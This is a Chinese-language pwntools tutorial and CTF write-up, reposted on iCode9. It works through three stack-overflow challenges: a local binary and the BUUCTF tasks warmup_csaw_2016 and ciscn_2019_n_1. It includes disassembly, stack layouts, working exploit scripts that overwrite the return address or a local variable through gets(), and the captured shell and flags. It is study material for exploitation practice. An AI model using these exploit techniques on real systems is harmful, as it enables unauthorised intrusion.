ICode9

精准搜索请尝试: 精确搜索
首页 > 其他分享> 文章详细

PWN 学习日志(1): pwntools简单使用与栈溢出实践

2022-05-12 11:04:53  阅读:219  来源: 互联网

标签:00 pwn1 undefined db PWN pwntools 0000000000000030 日志 函数


常用的模块

模块 功能
asm 汇编与反汇编
dynelf 远程符号泄漏
elf 对elf文件进行操作
memleak 用于内存泄漏
shellcraft shellcode生成器
gdb 配合gdb调试
utils 一些实用的小功能

结合CTF例题

题目1

下载附件pwn1,使用checksec检查保护

$ checksec pwn1
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x400000)
    RWX:      Has RWX segments

没有开启保护机制

终端输入objdump -d -M intel pwn1,反汇编后查看main函数

0000000000401142 <main>:
  401142:       55                      push   rbp
  401143:       48 89 e5                mov    rbp,rsp
  401146:       48 83 ec 10             sub    rsp,0x10
  40114a:       48 8d 3d b3 0e 00 00    lea    rdi,[rip+0xeb3]        # 402004 <_IO_stdin_used+0x4>
  401151:       e8 da fe ff ff          call   401030 <puts@plt>
  401156:       48 8d 45 f1             lea    rax,[rbp-0xf]
  40115a:       48 89 c7                mov    rdi,rax
  40115d:       b8 00 00 00 00          mov    eax,0x0
  401162:       e8 e9 fe ff ff          call   401050 <gets@plt>
  401167:       48 8d 45 f1             lea    rax,[rbp-0xf]
  40116b:       48 89 c7                mov    rdi,rax
  40116e:       e8 bd fe ff ff          call   401030 <puts@plt>
  401173:       48 8d 3d 97 0e 00 00    lea    rdi,[rip+0xe97]        # 402011 <_IO_stdin_used+0x11>
  40117a:       e8 b1 fe ff ff          call   401030 <puts@plt>
  40117f:       b8 00 00 00 00          mov    eax,0x0
  401184:       c9                      leave  
  401185:       c3                      ret    

这段代码的开头是形成栈帧,sub rsp,0x10是在栈中开辟了一段数组,这个大小是15(0x10-1),call puts是调用puts函数,打印了一段字符串。rdi寄存器中存放的是gets的参数,即刚开的数组的首地址。gets向这个缓冲区数组读入数据但没有长度的限制,于是构成了缓冲区溢出。

IDA 反汇编结果

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s[15]; // [rsp+1h] [rbp-Fh] BYREF

  puts("please input");
  gets(s);
  puts(s);
  puts("ok,bye!!!");
  return 0;
}

查看数组s在栈中的位置,因为关闭了ASLR,所以栈的地址是固定的。

-000000000000000F s               db ?
-000000000000000E                 db ? ; undefined
-000000000000000D                 db ? ; undefined
-000000000000000C                 db ? ; undefined
-000000000000000B                 db ? ; undefined
-000000000000000A                 db ? ; undefined
-0000000000000009                 db ? ; undefined
-0000000000000008                 db ? ; undefined
-0000000000000007                 db ? ; undefined
-0000000000000006                 db ? ; undefined
-0000000000000005                 db ? ; undefined
-0000000000000004                 db ? ; undefined
-0000000000000003                 db ? ; undefined
-0000000000000002                 db ? ; undefined
-0000000000000001                 db ? ; undefined
+0000000000000000  s              db 8 dup(?)   // 
+0000000000000008  r              db 8 dup(?)   // 这里是main函数返回地址
+0000000000000010
+0000000000000010 ; end of stack variables

与此同时,程序中提供了一个fun函数,可以借助它来开启一个交互shell

// 0x401186
int fun()
{
  return system("/bin/sh");
}

利用gets函数读入输入,用一段垃圾数据覆盖到返回地址前,最后将fun函数的首地址覆盖到main的返回地址,即可修改程序的执行流,转移到fun函数代码段执行。

在本地尝试

from pwn import *

context(os="Linux", arch="amd64")

p = process("./pwn1")            # 运行程序,开启进程
p.recvuntil("please input")      # 接收字符串,直到"please input"
fun_addr = 0x0000000000401186    # fun函数的地址
shellcode = "A" * (0x08 + 0x0f) + p64(fun_addr) # 垃圾数据+函数地址
p.sendline(shellcode)            # 发送
p.interactive()                  # 交互

本地成功拿到了shell

$ python demo.py 
[+] Starting local process './pwn1': pid 13787
[*] Switching to interactive mode

AAAAAAAAAAAAAAAAAAAAAAA\x86\x11
ok,bye!!!
$ ls
demo.py               pwn1     pwn1.id1  pwn1.nam
peda-session-pwn1.txt  pwn1.id0  pwn1.id2  pwn1.til

题目2

下载附件 BUUCTF

$ checksec warmup_csaw_2016
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x400000)
    RWX:      Has RWX segments

使用IDA反汇编main函数

__int64 __fastcall main(int a1, char **a2, char **a3)
{
  char s[64]; // [rsp+0h] [rbp-80h] BYREF
  char v5[64]; // [rsp+40h] [rbp-40h] BYREF

  write(1, "-Warm Up-\n", 0xAuLL);
  write(1, "WOW:", 4uLL);
  sprintf(s, "%p\n", sub_40060D);
  write(1, s, 9uLL);
  write(1, ">", 1uLL);
  return gets(v5);
}

函数的开头开辟了两个数组,sprintf的作用是格式化字符串,下一行输出打印该字符串。查看该地址处的代码:

int sub_40060D()
{
  return system("cat flag.txt");
}

可以看到是执行了一个命令,查看flag的文件内容。

main函数末尾存在一个gets函数,没有对读入长度作限制,因此可利用缓冲区溢出漏洞。

-0000000000000040 var_40          db 64 dup(?)
+0000000000000000  s              db 8 dup(?)
+0000000000000008  r              db 8 dup(?)
+0000000000000010
+0000000000000010 ; end of stack variables

如上是栈的分布,计算要使用(0x08+0x40)个字节的垃圾数据覆盖到返回地址,最后将sub_40060D覆盖到返回地址

from pwn import *

context(os="Linux", arch="amd64")
p = remote("node4.buuoj.cn",29242) # 远程连接
p.recvuntil(">")

fun_addr = 0x40060d
shellcode = "A" * (0x08 + 0x40) + p64(fun_addr)
p.sendline(shellcode)
p.interactive()

执行代码

$ python demo.py 
[+] Opening connection to node4.buuoj.cn on port 29242: Done
[*] Switching to interactive mode
flag{fe388bc3-c5c0-4cb7-8bdf-e14af238ca89}

拿到flag

题目3

下载附件 BUUCTF

$ checksec ciscn_2019_n_1
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

无保护机制

使用IDA 反汇编main函数

int __cdecl main(int argc, const char **argv, const char **envp)
{
  setvbuf(_bss_start, 0LL, 2, 0LL);
  setvbuf(stdin, 0LL, 2, 0LL);
  func();
  return 0;
}

进入func函数

int func()
{
  char v1[44]; // [rsp+0h] [rbp-30h] BYREF
  float v2; // [rsp+2Ch] [rbp-4h]

  v2 = 0.0;
  puts("Let's guess the number.");
  gets(v1);
  if ( v2 == 11.28125 )
    return system("cat /flag");
  else
    return puts("Its value should be 11.28125");
}

根据程序逻辑,若v2为11.28125则拿到flag

那么可以通过gets函数的缓冲区溢出来修改v2的值

-0000000000000030 ; D/A/*   : change type (data/ascii/array)
-0000000000000030 ; N       : rename
-0000000000000030 ; U       : undefine
-0000000000000030 ; Use data definition commands to create local variables and function arguments.
-0000000000000030 ; Two special fields " r" and " s" represent return address and saved registers.
-0000000000000030 ; Frame size: 30; Saved regs: 8; Purge: 0
-0000000000000030 ;
-0000000000000030
-0000000000000030 var_30          db 44 dup(?)
-0000000000000004 var_4           dd ?
+0000000000000000  s              db 8 dup(?)
+0000000000000008  r              db 8 dup(?)
+0000000000000010
+0000000000000010 ; end of stack variables

v1的首地址在-0000000000000030,v2在-0000000000000004,先用(0x30-0x04 )字节的数据覆盖到v2地址之前,将v2地址处的数据覆盖为11.28125即可,根据IEEE754规范,11.28125的16进制的形式为0x41348000

from pwn import *

context(os="Linux", arch="amd64")
p = remote("node4.buuoj.cn",26379)
p.recvuntil("Let's guess the number.")

# 41 34 80 00
shellcode = "A" * (0x30 - 0x04) + p64(0x41348000)
p.sendline(shellcode)
p.interactive()

运行后拿到flag

$ python demo.py 
[+] Opening connection to node4.buuoj.cn on port 26379: Done
[*] Switching to interactive mode

flag{9fcc4f83-6ddc-4a81-b14d-c0aec78372d6

总结

process函数可以打开一个本地的进程并且与其交互,参数是文件名。
send系列的函数可以发送字符,sendline会在末尾加上换行。

interactive() : 在取得shell之后使用,直接进行交互,相当于回到shell的模式。

recv(numb=字节大小, timeout=default) : 接收指定字节数。

recvall() : 一直接收直到达到文件EOF。

recvline(keepends=True) : 接收一行,keepends为是否保留行尾的\n。

recvuntil(delims, drop=False) : 一直读到delims的pattern出现为止。

recvrepeat(timeout=default) : 持续接受直到EOF或timeout。

简单的栈溢出题目中通常会有如gets这样的危险函数,对输入内容长度不加限制,从而导致溢出

标签:00,pwn1,undefined,db,PWN,pwntools,0000000000000030,日志,函数
来源: https://www.cnblogs.com/N3ptune/p/16261497.html

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有